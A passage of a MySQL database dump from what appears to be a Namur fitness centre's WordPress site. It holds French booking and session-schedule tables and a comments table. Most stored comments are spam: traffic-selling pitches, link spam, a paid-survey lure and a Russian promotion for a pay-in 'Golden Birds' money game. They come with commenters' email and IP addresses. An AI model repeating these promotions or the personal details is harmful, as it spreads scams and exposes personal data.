(10102, 31, 'CTR', '2017-07-12', '19h ', '19h30', 'Circuit training'),
(10106, 48, 'CTR', '2017-07-19', '18h15', '18h45', 'Circuit Training'),
(10107, 48, 'CTR', '2017-07-19', '19h ', '19h30', 'Circuit training'),
(10108, 31, 'CTR', '2017-07-19', '18h15', '18h45', 'Circuit Training'),
(10109, 31, 'CTR', '2017-07-19', '19h ', '19h30', 'Circuit training'),
(10110, 210, 'CTR', '2017-07-19', '19h ', '19h30', 'Circuit training'),
(10111, 205, 'CTR', '2017-07-19', '18h15', '18h45', 'Circuit Training'),
(10112, 205, 'CTR', '2017-07-19', '19h ', '19h30', 'Circuit training'),
(10113, 180, 'CTR', '2017-07-19', '18h15', '18h45', 'Circuit Training'),
(10114, 132, 'CTR', '2017-07-19', '19h ', '19h30', 'Circuit training'),
(10117, 295, 'CTR', '2017-07-26', '18h15', '18h45', 'Circuit Training');

-- --------------------------------------------------------

--
-- Structure de la table `reservation_salle`
--

CREATE TABLE `reservation_salle` (
  `id` varchar(3) NOT NULL,
  `salle` varchar(250) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `reservation_salle`
--

INSERT INTO `reservation_salle` (`id`, `salle`) VALUES
('CTR', 'Cross Training'),
('PIS', 'NamTation'),
('XBO', 'XBody');

-- --------------------------------------------------------

--
-- Structure de la table `reservation_seance_complete`
--

CREATE TABLE `reservation_seance_complete` (
  `id` int(11) NOT NULL,
  `salle` varchar(3) NOT NULL,
  `date` date NOT NULL,
  `heure_debut` varchar(5) NOT NULL,
  `heure_fin` varchar(5) NOT NULL,
  `type_seance` varchar(250) NOT NULL,
  `nb_max_participant` int(11) NOT NULL,
  `complet` int(1) NOT NULL DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `reservation_seance_complete`
--

INSERT INTO `reservation_seance_complete` (`id`, `salle`, `date`, `heure_debut`, `heure_fin`, `type_seance`, `nb_max_participant`, `complet`) VALUES
(219, 'CTR', '2017-07-05', '19h ', '19h30', 'Circuit training', 0, 1),
(220, 'CTR', '2017-09-26', '18h15', '18h45', 'Circuit Training', 0, 1),
(221, 'CTR', '2017-11-08', '20h30', '21h00', 'Circuit training', 0, 1),
(222, 'CTR', '2017-12-27', '18h45', '19h15', 'Circuit training', 0, 1);

-- --------------------------------------------------------

--
-- Structure de la table `reservation_seance_complete_bck`
--

CREATE TABLE `reservation_seance_complete_bck` (
  `id` int(11) NOT NULL,
  `salle` varchar(3) NOT NULL,
  `date` date NOT NULL,
  `heure_debut` varchar(5) NOT NULL,
  `heure_fin` varchar(5) NOT NULL,
  `type_seance` varchar(250) NOT NULL,
  `nb_max_participant` int(11) NOT NULL,
  `complet` int(1) NOT NULL DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `reservation_seance_complete_bck`
--

INSERT INTO `reservation_seance_complete_bck` (`id`, `salle`, `date`, `heure_debut`, `heure_fin`, `type_seance`, `nb_max_participant`, `complet`) VALUES
(218, 'nam', '2016-12-28', '19h ', '19h30', 'Circuit training', 0, 1),
(219, 'nam', '2017-07-05', '19h ', '19h30', 'Circuit training', 0, 1),
(217, 'nam', '2016-12-28', '19h45', '20h15', 'Spécial Sportif ', 0, 1),
(196, 'nam', '2016-03-30', '17h30', '18h', 'TRX Suspension Training', 0, 1),
(216, 'nam', '2016-10-10', '19h30', '20h00', 'Circuit Training', 0, 1),
(212, 'nam', '2016-07-06', '19h45', '20h15', 'Circuit Training', 0, 1),
(213, 'nam', '2016-09-26', '19h30', '20h00', 'Circuit Training', 0, 1),
(214, 'nam', '2016-10-10', '19h30', '20h00', 'Circuit Training', 0, 1),
(215, 'nam', '2016-11-03', '18h30', '19h00', 'TAF (Taille-Abdos-Fessiers)', 0, 1),
(197, 'nam', '2016-04-04', '17h30', '18h00', 'TRX Suspension Training', 0, 1),
(198, 'nam', '2016-04-04', '20h30', '21h00', 'Circuit Training', 0, 1),
(199, 'nam', '2016-04-05', '19h45', '20h30', 'Circuit Training', 0, 1),
(200, 'nam', '2016-04-14', '12h45', '13h15', 'Circuit training', 0, 1),
(201, 'nam', '2016-04-21', '12h45', '13h15', 'Circuit training', 0, 1),
(202, 'nam', '2016-04-28', '12h45', '13h15', 'Circuit training', 0, 1),
(203, 'nam', '2016-04-27', '17h30', '18h', 'TRX Suspension Training', 0, 1),
(204, 'nam', '2016-05-14', '10h15', '10h45', 'Circuit Niveau 1', 0, 1),
(205, 'nam', '2016-05-14', '10h50', '11h20', 'Circuit Niveau 2 A', 0, 1),
(206, 'nam', '2016-05-14', '11h30', '12h00', 'Circuit Niveau 2 B', 0, 1),
(207, 'nam', '2016-05-14', '12h05', '12h35', 'Circuit Niveau 3', 0, 1),
(208, 'nam', '2016-06-11', '10h30', '11h00', 'Circuit Niveau 1', 0, 1),
(209, 'nam', '2016-06-11', '11h05', '11h35', 'Circuit Niveau 2', 0, 1),
(210, 'nam', '2016-06-11', '11h40', '12h10', 'Circuit Niveau 3', 0, 1),
(211, 'nam', '2016-06-29', '19h45', '20h15', 'Circuit Training', 0, 1);

-- --------------------------------------------------------

--
-- Structure de la table `reservation_seance_exceptionnelle`
--

CREATE TABLE `reservation_seance_exceptionnelle` (
  `id` int(11) NOT NULL,
  `salle` varchar(3) NOT NULL,
  `date` date NOT NULL,
  `heure_debut` varchar(5) NOT NULL,
  `heure_fin` varchar(5) NOT NULL,
  `type_seance` varchar(250) NOT NULL,
  `nb_max_participant` int(11) NOT NULL,
  `complet` int(1) NOT NULL DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `reservation_seance_exceptionnelle`
--

INSERT INTO `reservation_seance_exceptionnelle` (`id`, `salle`, `date`, `heure_debut`, `heure_fin`, `type_seance`, `nb_max_participant`, `complet`) VALUES
(124, 'CTR', '2018-03-14', '17h00', '21h00', 'Pas de séance!!', 0, 0),
(122, 'CTR', '2017-12-25', '17h00', '21h00', 'Noël : Pas de séance', 0, 0),
(123, 'CTR', '2018-01-08', '9h00', '22h00', 'Bowling Fermé', 0, 0);

-- --------------------------------------------------------

--
-- Structure de la table `reservation_seance_exceptionnelle_bck`
--

CREATE TABLE `reservation_seance_exceptionnelle_bck` (
  `id` int(11) NOT NULL,
  `salle` varchar(3) NOT NULL,
  `date` date NOT NULL,
  `heure_debut` varchar(5) NOT NULL,
  `heure_fin` varchar(5) NOT NULL,
  `type_seance` varchar(250) NOT NULL,
  `nb_max_participant` int(11) NOT NULL,
  `complet` int(1) NOT NULL DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `reservation_seance_exceptionnelle_bck`
--

INSERT INTO `reservation_seance_exceptionnelle_bck` (`id`, `salle`, `date`, `heure_debut`, `heure_fin`, `type_seance`, `nb_max_participant`, `complet`) VALUES
(77, 'nam', '2015-03-27', '17h30', '19h', 'Cross training fermé: pas de cours', 0, 0),
(67, 'nam', '2014-11-11', '17h30', '20h30', 'Jour férié! pas de cours!', 0, 0),
(68, 'nam', '2014-12-24', '17h30', '20h30', 'Pas de cours! Joyeuses fêtes!', 0, 0),
(69, 'nam', '2014-12-25', '17h30', '20h30', 'Pas de cours! Joyeuses fêtes!', 0, 0),
(70, 'nam', '2014-12-26', '17h30', '20h30', 'Pas de cours! Joyeuses fêtes!', 0, 0),
(71, 'nam', '2014-12-31', '17h30', '20h30', 'Pas de cours! Joyeuses fêtes!', 0, 0),
(72, 'nam', '2015-01-01', '17h30', '20h30', 'Pas de cours! Joyeuses fêtes!', 0, 0),
(73, 'nam', '2015-01-02', '17h30', '20h30', 'Pas de cours! Joyeuses fêtes!', 0, 0),
(74, 'nam', '2015-01-12', '17h30', '20h30', 'Le bowling est fermé! Pas de cours de cross training', 0, 0),
(75, 'nam', '2015-03-24', '18h00', '20h00', 'MIX Cross Training (un mix de tous nos cours pendant 2h)', 16, 0),
(76, 'nam', '2015-04-02', '18h00', '20h00', 'MIX Cross Training (un mix de tous nos cours pendant 2h)', 16, 0),
(63, 'nam', '2014-09-11', '18h15', '19h ', 'Tests physiques', 10, 0),
(64, 'nam', '2014-09-11', '19h00', '19h45', 'Tests physiques', 10, 0),
(65, 'nam', '2014-09-11', '19h45', '20h30', 'Tests physiques', 10, 0),
(66, 'nam', '2014-09-11', '17h30', '18h00', 'Core', 8, 0),
(79, 'nam', '2015-04-06', '17h30', '20h30', 'Jour férié! pas de cours!', 0, 0),
(80, 'nam', '2015-04-10', '17h30', '20h30', 'Cross Training Center fermé! Pas de cours!', 0, 0),
(81, 'nam', '2015-04-30', '18h00', '0h00', 'Anniversaire Cross Training', 0, 0),
(82, 'nam', '2015-05-01', '17h30', '20h30', 'cross training fermé : jour férié ', 0, 0),
(83, 'nam', '2015-05-14', '17h30', '20h30', 'Pas de cours! Cross Traning Center fermé!', 0, 0),
(84, 'nam', '2015-05-15', '17h30', '20h30', 'Pas de cours! Cross Traning Center fermé!', 0, 0),
(85, 'nam', '2015-05-25', '17h30', '20h30', 'Jour férié! Cross training fermé ', 0, 0),
(86, 'nam', '2015-06-02', '18h30', '19h30', 'Cross Training Center OUTDOOR à la citadelle de Namur', 20, 0),
(87, 'nam', '2015-06-18', '18h30', '19h30', 'Cross training outdoor àla citadelle de Namur ', 20, 0),
(88, 'nam', '2015-06-12', '17h30', '20h30', 'Cross Training Center fermé! Pas de cours!', 0, 0),
(89, 'nam', '2015-06-27', '10h30', '11h30', 'Cross Training OUTDOOR interval training course + renforcement musculaire', 20, 0),
(90, 'nam', '2015-06-27', '10h30', '11h30', 'Cross Training OUTDOOR Renforcement musculaire', 20, 0),
(91, 'nam', '2015-07-09', '18h30', '19h30', 'Cross Training OUTDOOR (ravel saint-servais)', 20, 0),
(92, 'nam', '2015-07-20', '17h30', '20h30', 'Bowling et Squash fermé : pas de cours de cross training', 0, 0),
(93, 'nam', '2015-08-06', '18h30', '19h30', 'Cross training outdoor saint-servais', 20, 0),
(94, 'nam', '2015-08-31', '17h30', '18h ', 'Circuit training ', 8, 0),
(95, 'nam', '2015-08-31', '18h15', '18h45', 'Circuit training ', 8, 0),
(96, 'nam', '2015-08-31', '19h', '19h30', 'Circuit training', 8, 0),
(97, 'nam', '2015-08-31', '19h45', '20h30', 'BodyBoxe', 8, 0),
(98, 'nam', '2015-09-21', '17h30', '20h30', 'Le Bowling est fermé à l\'occasion des fêtes de Wallonie! Pas de cours!', 0, 0),
(99, 'nam', '2015-11-27', '17h30', '18h', 'Circuit training ', 8, 0),
(100, 'nam', '2015-11-27', '18h', '18h30', 'Circuit training', 8, 0),
(101, 'nam', '2015-12-31', '17h30', '20h30', 'Pas cours! Joyeuses Fêtes', 0, 0),
(102, 'nam', '2015-12-24', '17h30', '20h30', 'Pas cours ! Joyeuses Fêtes', 0, 0),
(104, 'nam', '2016-03-28', '17:30', '21:00', 'Lundi de Pâques : pas de cours', 0, 0),
(105, 'nam', '2016-03-19', '14h00', '14h30', 'Circuit Niveau 1', 8, 0),
(106, 'nam', '2016-03-19', '14h40', '15h10', 'Circuit Niveau 2', 8, 0),
(107, 'nam', '2016-03-19', '15h15', '15h45', 'Circuit Niveau 3', 8, 0),
(108, 'nam', '2016-03-26', '10h00', '12h00', 'Pas de cours Bowling fermé', 0, 0),
(109, 'nam', '2016-09-19', '17h00', '21h00', 'Fêtes de Wallonie', 0, 0),
(111, 'nam', '2016-12-30', '18h15', '19h15', 'Séance Fin d\'Année 2016 ! :-)', 10, 0),
(112, 'nam', '2017-01-09', '17h00', '22h00', 'Bowling et Squash Fermé', 0, 0),
(113, 'nam', '2017-02-09', '18h30', '20h30', 'PAS COURS! Sandrine est en formation', 0, 0),
(114, 'nam', '2017-01-29', '18h00', '18h45', 'Jeudi oubli d\'encodage', 8, 0),
(115, 'nam', '2017-02-03', '8h00', '9h00', 'Séance jeudi 2/2 à 12h45', 10, 0),
(116, 'nam', '2017-02-17', '12h45', '13h15', 'Séance jeudi 16/2 à 12h45', 10, 0),
(117, 'nam', '2017-03-17', '10h00', '10h45', 'Rattrapage CAF 17/3', 8, 0),
(118, 'nam', '2017-03-01', '10h00', '11h00', 'Oubli inscription', 8, 0),
(119, 'nam', '2017-04-01', '10h00', '11h00', 'Oubli inscription', 8, 0),
(120, 'nam', '2017-04-08', '10h00', '11h00', 'Oubli encodage Train With Me', 8, 0);

-- --------------------------------------------------------

--
-- Structure de la table `reservation_seance_type`
--

CREATE TABLE `reservation_seance_type` (
  `id` int(11) NOT NULL,
  `salle` varchar(3) NOT NULL,
  `jour` varchar(250) NOT NULL,
  `heure_debut` varchar(5) NOT NULL,
  `heure_fin` varchar(5) NOT NULL,
  `type_seance` varchar(250) NOT NULL,
  `nb_max_participant` int(11) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `reservation_seance_type`
--

INSERT INTO `reservation_seance_type` (`id`, `salle`, `jour`, `heure_debut`, `heure_fin`, `type_seance`, `nb_max_participant`) VALUES
(134, 'nam', 'Lundi', '19h00', '20h00', 'Circuit Training (Julien)', 8),
(127, 'CTR', 'Jeudi', '19h30', '20h30', 'Circuit Training', 8),
(131, 'nam', 'Mercredi', '18h00', '19h00', 'Circuit Training (Damien)', 8),
(132, 'nam', 'Mercredi', '19h00', '20h00', 'Circuit Training (Damien)', 8),
(128, 'CTR', 'Jeudi', '20h30', '21h30', 'Circuit Training', 8),
(126, 'CTR', 'Jeudi', '18h30', '19h30', 'Circuit Training', 8),
(133, 'nam', 'Lundi', '18h00', '19h00', 'Circuit Training (Julien)', 8);

-- --------------------------------------------------------

--
-- Structure de la table `wp_commentmeta`
--

CREATE TABLE `wp_commentmeta` (
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  `comment_id` bigint(20) UNSIGNED NOT NULL DEFAULT '0',
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `wp_comments`
--

CREATE TABLE `wp_comments` (
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  `comment_author_url` varchar(200) NOT NULL DEFAULT '',
  `comment_author_IP` varchar(100) NOT NULL DEFAULT '',
  `comment_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `comment_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `comment_content` text NOT NULL,
  `comment_karma` int(11) NOT NULL DEFAULT '0',
  `comment_approved` varchar(20) NOT NULL DEFAULT '1',
  `comment_agent` varchar(255) NOT NULL DEFAULT '',
  `comment_type` varchar(20) NOT NULL DEFAULT '',
  `comment_parent` bigint(20) UNSIGNED NOT NULL DEFAULT '0',
  `user_id` bigint(20) UNSIGNED NOT NULL DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `wp_comments`
--

INSERT INTO `wp_comments` (`comment_ID`, `comment_post_ID`, `comment_author`, `comment_author_email`, `comment_author_url`, `comment_author_IP`, `comment_date`, `comment_date_gmt`, `comment_content`, `comment_karma`, `comment_approved`, `comment_agent`, `comment_type`, `comment_parent`, `user_id`) VALUES
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(28, 1, 'ulyakovalchuk', 'gripersebounc@gmail.com', 'http://ori.kz', '46.119.115.223', '2013-12-03 22:45:57', '2013-12-03 22:45:57', 'http://ori.kz -  отдых + на островах греции', 0, '0', 'Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.10.289 Version/12.01', '', 0, 0),
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(59, 1, 'WilliamNam', 'larruopwes@gmail.com', 'http://elictervicor.ru', '91.200.14.96', '2014-01-28 02:05:39', '2014-01-28 02:05:39', 'After research just a few of the blog posts in your web site now, and I truly like your way of blogging. I bookmarked it to my bookmark web site record and can be checking back soon. Pls check out my site as effectively and let me know what you think.', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.12 (KHTML, like Gecko) Maxthon/3.0 Chrome/18.0.966.0 Safari/535.12', '', 0, 0),
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(61, 1, 'MartinAgek', 'martintip@gmail.com', 'http://worldkrasoty.ru/', '95.79.182.145', '2014-01-28 13:35:30', '2014-01-28 13:35:30', 'It not absolutely approaches me. Perhaps there are still variants?', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0', '', 0, 0),
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(65, 1, 'Katie', 'nyqvztzwmpz@gmail.com', 'http://ow.ly/sXRuL', '151.237.177.159', '2014-01-31 05:08:08', '2014-01-31 05:08:08', 'I discovered your page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get traffic from and they let you try the service for free. I managed to get over 300 targeted visitors to day to my website. Check it out here: http://iam.at/1a3', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(66, 1, 'Donna', 'kyjxqwy@gmail.com', 'http://pay4by.cc/rnwh', '151.237.177.157', '2014-02-01 13:29:38', '2014-02-01 13:29:38', 'You need targeted traffic to your website so why not try some for free? There is a VERY POWERFUL and POPULAR company out there who now lets you try their traffic service for 7 days free of charge. I am so glad they opened their traffic system back up to the public! Sign up before it is too late: http://ur7.us/pod', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(67, 1, 'WilliamNam', 'larruopwes@gmail.com', 'http://proglebelebo.ru', '91.200.14.96', '2014-02-02 05:46:13', '2014-02-02 05:46:13', 'Oh my goodness! a tremendous article dude. Thanks Nevertheless I am experiencing situation with ur rss . Don’t know why Unable to subscribe to it. Is there anyone getting equivalent rss drawback? Anyone who knows kindly respond. Thnkx', 0, '0', 'Mozilla/5.0 (Windows NT 5.2; rv:12.0) Gecko/20100101 Firefox/12.0', '', 0, 0),
(68, 1, 'Gregory Despain', '381Mikelson@gmail.com', 'http://onblacocac.ru', '195.39.253.29', '2014-02-03 00:36:41', '2014-02-03 00:36:41', 'Between me and my husband we\'ve owned more MP3 players over the years than I can count, including Sansas, iRivers, iPods (classic &amp;amp; touch), the Ibiza Rhapsody, etc. But, the last few years I\'ve settled down to one line of players. Why? Because I was happy to discover how well-designed and fun to use the underappreciated (and widely mocked) Zunes are.', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50', '', 0, 0),
(69, 1, 'WilliamNam', 'larruopwes@gmail.com', 'http://resdifisjuja.ru', '91.200.14.96', '2014-02-03 04:14:33', '2014-02-03 04:14:33', 'Spot on with this write-up, I actually suppose this website wants much more consideration. I’ll probably be again to read much more, thanks for that info.', 0, '0', 'Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0', '', 0, 0),
(70, 1, 'Donna', 'ukbzcrpp@gmail.com', 'http://ow.ly/sXRuL', '23.81.201.84', '2014-02-03 15:06:51', '2014-02-03 15:06:51', 'This is a comment to the webmaster. Your website is missing out on at least 300 visitors per day. I have found a company which offers to dramatically increase your visitors to your website: http://derPir.at/gm1 They offer 1,000 free visitors during their free trial period and I managed to get over 30,000 visitors per month using their services, you could also get lot more targeted traffic than you have now. Hope this helps :) Take care.', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(71, 1, 'Stacey', 'cjesrdijlhj@gmail.com', 'http://jtayl.org/qfm9', '23.81.201.75', '2014-02-05 06:11:28', '2014-02-05 06:11:28', 'This is a comment to the admin. Your website is missing out on at least 300 visitors per day. I have found a company which offers to dramatically increase your traffic to your site: http://jtayl.org/qfm9 They offer 1,000 free visitors during their free trial period and I managed to get over 30,000 visitors per month using their services, you could also get lot more targeted visitors than you have now. Hope this helps :) Take care.', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(72, 1, 'DanNam', 'larruopwes@gmail.com', 'http://iphtamerira.ru', '91.200.14.96', '2014-02-05 06:43:13', '2014-02-05 06:43:13', 'I’m impressed, I have to say. Really not often do I encounter a weblog that’s both educative and entertaining, and let me tell you, you\'ve got hit the nail on the head. Your thought is excellent; the difficulty is one thing that not sufficient people are talking intelligently about. I am very happy that I stumbled throughout this in my seek for something relating to this.', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0', '', 0, 0),
(73, 1, 'DanNam', 'larruopwes@gmail.com', 'http://iphtamerira.ru', '91.200.14.96', '2014-02-06 06:00:36', '2014-02-06 06:00:36', 'Can I simply say what a aid to find someone who actually is aware of what theyre talking about on the internet. You positively know easy methods to carry an issue to light and make it important. Extra people need to learn this and understand this facet of the story. I cant believe youre no more fashionable because you definitely have the gift.', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', '', 0, 0),
(74, 1, 'preloaded vps', '*@gmail.com', 'http://www.webtrafficsoftware.info', '200.63.22.162', '2014-02-09 23:06:53', '2014-02-09 23:06:53', 'Want to learn more about SEO software? http://bit.ly/1hW8iRn', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(75, 1, 'elenavoenkova', 'tarassafonov9@gmail.com', 'http://omsk.classclinic.ru/proktologiya/gemorroi', '134.249.53.142', '2014-02-14 11:46:41', '2014-02-14 11:46:41', '&lt;a href=\&quot;http://omsk.classclinic.ru/proktologiya/gemorroi\&quot; rel=\&quot;nofollow\&quot;&gt;геморрой&lt;/a&gt;', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1', '', 0, 0),
(76, 1, 'Jenny', 'nkxymwwlve@gmail.com', 'http://regisztralj.be/tj', '23.81.201.77', '2014-02-15 15:25:01', '2014-02-15 15:25:01', 'I discovered your page and noticed you could have a lot more traffic. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get visitors from and they let you try their service for free. I managed to get over 300 targeted visitors to day to my website. Visit them today: http://iam.at/1a3', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', '', 0, 0),
(77, 1, 'Karen', 'uwloxwyly@gmail.com', 'http://go.pigmeu.net/6fX', '23.81.201.88', '2014-02-20 07:34:33', '2014-02-20 07:34:33', 'You need targeted traffic to your website so why not try some for free? There is a VERY POWERFUL and POPULAR company out there who now lets you try their website traffic service for 7 days free of charge. I am so glad they opened their traffic system back up to the public! Check it out here: http://go.pigmeu.net/6fX', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(78, 1, 'katyakeupetman', 'efimrodin@gmail.com', 'http://gamenet.kz', '37.115.188.48', '2014-02-20 17:20:50', '2014-02-20 17:20:50', '&lt;a href=\&quot;http://bianco.kz\&quot; rel=\&quot;nofollow\&quot;&gt;Свадебные платья&lt;/a&gt;', 0, '0', 'Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.10', '', 0, 0),
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(80, 1, 'Surveys', 'linda-lency1986@htomail.com', 'http://money-with-surveys.com/start.html', '178.137.162.244', '2014-02-23 13:13:27', '2014-02-23 13:13:27', 'Hi www.crosstrainingcenter.be admin, \r\nIf you want to make $20-$50/hour and up to $3000/month working at \r\nhome part-time then this is the most important message  you’re ever going to read... \r\n \r\nIt may sound hard to believe, but it\'s true.  There are thousands of companies out there who are willing to pay for your opinions regarding their products.  This is an important part of product research, and they rely on people just like you for your honest opinion! \r\n \r\nImagine getting paid for doing simple things like: \r\n \r\n- Take short surveys about new cars that are coming out soon \r\n- Give your opinion about new clothing and shoe designs \r\n- Trying out new menu items from popular restaurants \r\nBut here\'s a problem, it\'s very hard to find out best survey site and you probably can waste too much time, \r\nbut I just stumbled up  website http://money-with-surveys.com/start.html \r\nwhere they sorted the best paying survey site DB allowing single dad making $3000/month \r\n \r\nClick Here To read this amazing  story : \r\nhttp://money-with-surveys.com/start.html \r\n \r\n \r\nYour friend \r\nLinda', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0', '', 0, 0),
(81, 1, 'Susan', 'sqlyfns@gmail.com', 'http://regisztralj.be/tj', '23.81.201.92', '2014-02-25 02:53:59', '2014-02-25 02:53:59', 'I came to your page and noticed you could have a lot more hits. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get traffic from and they let you try their service for free. I managed to get over 300 targeted visitors to day to my site. Visit them today: http://monurl.ca/85kk', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(82, 1, 'Swayna', 'leszckbqlhk@gmail.com', 'http://ow.ly/sXRuL', '23.81.201.74', '2014-03-01 20:23:16', '2014-03-01 20:23:16', 'This is a message to the admin. Your website is missing out on at least 300 visitors per day. I have found a company which offers to dramatically increase your traffic to your site: http://regisztralj.be/tj They offer 1,000 free visitors during their free trial period and I managed to get over 30,000 visitors per month using their services, you could also get lot more targeted visitors than you have now. Hope this helps :) Take care.', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0);
INSERT INTO `wp_comments` (`comment_ID`, `comment_post_ID`, `comment_author`, `comment_author_email`, `comment_author_url`, `comment_author_IP`, `comment_date`, `comment_date_gmt`, `comment_content`, `comment_karma`, `comment_approved`, `comment_agent`, `comment_type`, `comment_parent`, `user_id`) VALUES
(83, 1, 'GoldenBlon', 'lazarevatyu@yandex.com', 'http://golden-birds.biz/', '95.28.255.143', '2014-03-07 16:31:53', '2014-03-07 16:31:53', 'Golden Birds - интеллектуально-ролевый онлайн симулятор с выводом денег. Зарабатывай на своих яйцах каждые 10 минут! \r\nРегистрация: http://golden-birds.biz/ \r\n \r\n1. Купите птиц, они будут нести вам яйца. \r\n2. Яйца будут накапливаться на складе, собирайте их. \r\n3. Продавайте яйца и получайте за них серебро. \r\n4. Обменивайте серебро на реальные деньги, либо покупайте больше птиц, чтобы они приносили вам еще больше прибыли! \r\n \r\nПримущества игры: \r\n1. Резервный фонд \r\n2. Окупаемость \r\n3. Выгодные условия \r\n4. Стабильность \r\n5. Круглосуточная поддержка \r\n6. Прозрачность системы \r\n \r\nТекущие акции: \r\nДо 12.03.2014 бонус при любом пополнении +200% \r\n2 синих птицы, при пополнении свыше 500 руб. \r\n1 красная птица, при пополнении свыше 1500 руб. \r\n \r\nЕжедневный бонус: \r\nСумма бонуса генерируется случайно от 10 до 100 серебра. \r\n \r\nПартнерская программа: \r\nПриглашайте в игру своих друзей и знакомых, Вы будете получать 30% от каждого пополнения баланса приглашенным Вами \r\nчеловеком. Доход ни чем не ограничен. Даже несколько приглашенных могут принести вам более 100 000 серебра. \r\n \r\nКонкурсы рефералов: \r\nКонкурс рефералов № 8 с общим призовым фондом 45000 руб. \r\n \r\nСтарт конкурса: 10.02.2014 в 18:58:07 \r\nЗавершение:     11.03.2014 в 18:58:02 \r\n \r\nПризовые места: \r\n1 - 30000 RUB \r\n2 - 10000 RUB \r\n3 - 5000 RUB \r\n \r\nЦены на птиц и их окупаемость: \r\nПтица----------------Стоимость------------Доход---------Окупаемость \r\nЗелёная----------------1 руб----------0,01 руб\\день--------59 дней \r\nЖёлтая----------------10 руб----------0,16 руб\\день--------59 дней \r\nКоричневая------------50 руб----------0,88 руб\\день--------56 дней \r\nСиняя----------------250 руб----------4,60 руб\\день--------54 дней \r\nКрасная-------------1000 руб---------23,16 руб\\день--------43 дней \r\n \r\nСтатистика проекта: \r\nВсего участников:    100081 \r\nНовых за 24 часа:    2021 \r\nВыплачено всего:     5041902.34 руб. \r\nРезерв проекта:      10990404.23 руб. \r\nПроекту пошел:       143 - й день \r\n \r\nигры с возможностью вывода денег отзывы \r\nигра шахта с выводом денег отзывы \r\nтоп игр с выводом денег отзывы \r\nпроверенные игры с выводом денег отзывы \r\nфермандия игра с выводом денег отзывы', 0, '0', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.19 (KHTML, like Gecko) Chrome/25.0.1323.1 Safari/537.19', '', 0, 0),
